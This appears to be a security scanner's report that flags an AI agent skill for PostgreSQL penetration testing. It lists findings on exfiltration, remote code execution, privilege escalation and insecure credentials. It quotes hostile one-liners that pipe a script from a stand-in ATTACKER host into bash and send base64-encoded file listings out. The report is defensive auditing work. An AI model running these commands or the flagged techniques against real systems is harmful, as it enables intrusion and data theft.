postgresql-pentesting

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 0.80). The prompt embeds plaintext passwords and connection strings (e.g., psql -W , dblink 'password=...', ALTER USER ... WITH PASSWORD '...') and shows creating roles with literal passwords, which encourages including secret values verbatim in commands/SQL and therefore poses a high exfiltration risk.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Two attacker-controlled URLs point to direct script download/exfiltration endpoints (curl | bash style) and the GitHub repo is a third-party exploit tool (adeadfed/postgresql-filenode-editor), making these sources high-risk for malware distribution; the official postgres/pgadmin4 URL is benign and not flagged.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The content is an explicit offensive playbook for PostgreSQL containing step-by-step instructions for data exfiltration, credential theft, remote code execution, privilege escalation, backdoor creation, and persistence — clearly malicious in intent.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). The skill includes runtime commands that fetch and execute remote content (e.g., 'curl https://ATTACKER/rev.sh | bash' and 'curl http://ATTACKER/?f=`ls -l|base64`'), so external URLs are used during execution to retrieve and run remote code.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly instructs obtaining sudo (sudo -u postgres), performing RCE (COPY FROM/TO PROGRAM, PL languages, uploading .so), writing/modifying PostgreSQL and system files (postgresql.conf, /etc paths), and creating/modifying roles—which all change the host system state and escalate privileges.